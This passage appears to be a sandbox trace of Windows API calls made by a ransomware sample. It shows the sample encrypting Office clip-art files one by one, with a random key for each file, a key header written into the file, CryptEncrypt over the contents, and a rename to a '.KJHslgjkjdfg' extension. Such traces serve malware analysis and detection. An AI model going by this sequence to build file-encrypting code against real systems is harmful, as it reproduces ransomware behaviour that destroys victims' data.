lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.125] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.125] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.125] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.125] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x14c0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x14c0, lpOverlapped=0x0) returned 1 [0204.126] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14c0, dwBufLen=0x14c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14c0) returned 1 [0204.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.126] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x14c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x14c0, lpOverlapped=0x0) returned 1 [0204.126] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.126] SetEndOfFile (hFile=0x130) returned 1 [0204.128] GetProcessHeap () returned 0x2ef0000 [0204.128] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.128] GetProcessHeap () returned 0x2ef0000 [0204.128] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf.kjhslgjkjdfg")) returned 1 [0204.130] CloseHandle (hObject=0x130) returned 1 [0204.130] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200189.WMF", cAlternateFileName="")) returned 1 [0204.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.131] GetProcessHeap () returned 0x2ef0000 [0204.131] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.131] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.131] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.133] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.133] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.133] GetProcessHeap () returned 0x2ef0000 [0204.133] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.133] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.133] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.134] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.134] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.134] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.134] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.134] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.134] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.135] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.135] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.135] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f7c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f7c, lpOverlapped=0x0) returned 1 [0204.136] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f80, dwBufLen=0x1f80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f80) returned 1 [0204.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.136] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f80, lpOverlapped=0x0) returned 1 [0204.136] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.136] SetEndOfFile (hFile=0x130) returned 1 [0204.139] GetProcessHeap () returned 0x2ef0000 [0204.139] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.139] GetProcessHeap () returned 0x2ef0000 [0204.139] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf.kjhslgjkjdfg")) returned 1 [0204.140] CloseHandle (hObject=0x130) returned 1 [0204.140] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65cc000, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65cc000, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x7a46, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200273.WMF", cAlternateFileName="")) returned 1 [0204.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.141] GetProcessHeap () returned 0x2ef0000 [0204.141] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.141] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.141] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.141] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0204.144] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.144] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.144] GetProcessHeap () returned 0x2ef0000 [0204.144] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.144] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.144] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.144] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.144] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.144] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.144] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.144] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.144] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.144] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.145] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7a46, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7a46, lpOverlapped=0x0) returned 1 [0204.146] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7a50, dwBufLen=0x7a50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7a50) returned 1 [0204.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.146] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7a50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7a50, lpOverlapped=0x0) returned 1 [0204.146] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.146] SetEndOfFile (hFile=0x130) returned 1 [0204.149] GetProcessHeap () returned 0x2ef0000 [0204.149] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.149] GetProcessHeap () returned 0x2ef0000 [0204.149] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf.kjhslgjkjdfg")) returned 1 [0204.151] CloseHandle (hObject=0x130) returned 1 [0204.151] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9f04700, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9f04700, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x4c0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200279.WMF", cAlternateFileName="")) returned 1 [0204.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.153] GetProcessHeap () returned 0x2ef0000 [0204.153] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.153] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.153] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0204.156] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.156] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.156] GetProcessHeap () returned 0x2ef0000 [0204.156] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.156] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.156] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.156] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.156] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.156] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.156] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.156] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.156] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.156] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.157] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.157] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4c0a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4c0a, lpOverlapped=0x0) returned 1 [0204.158] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4c10, dwBufLen=0x4c10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4c10) returned 1 [0204.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.158] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4c10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4c10, lpOverlapped=0x0) returned 1 [0204.158] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.158] SetEndOfFile (hFile=0x130) returned 1 [0204.161] GetProcessHeap () returned 0x2ef0000 [0204.161] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.161] GetProcessHeap () returned 0x2ef0000 [0204.161] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf.kjhslgjkjdfg")) returned 1 [0204.163] CloseHandle (hObject=0x130) returned 1 [0204.163] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb379af00, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb379af00, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200289.WMF", cAlternateFileName="")) returned 1 [0204.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.164] GetProcessHeap () returned 0x2ef0000 [0204.164] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.164] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.164] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.164] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.164] GetProcessHeap () returned 0x2ef0000 [0204.164] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.164] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.164] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.164] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.169] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.169] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.169] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.169] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.169] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.169] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.169] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa0b0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa0b0, lpOverlapped=0x0) returned 1 [0204.171] CryptEncrypt (in: hKey=0x2f182c8, 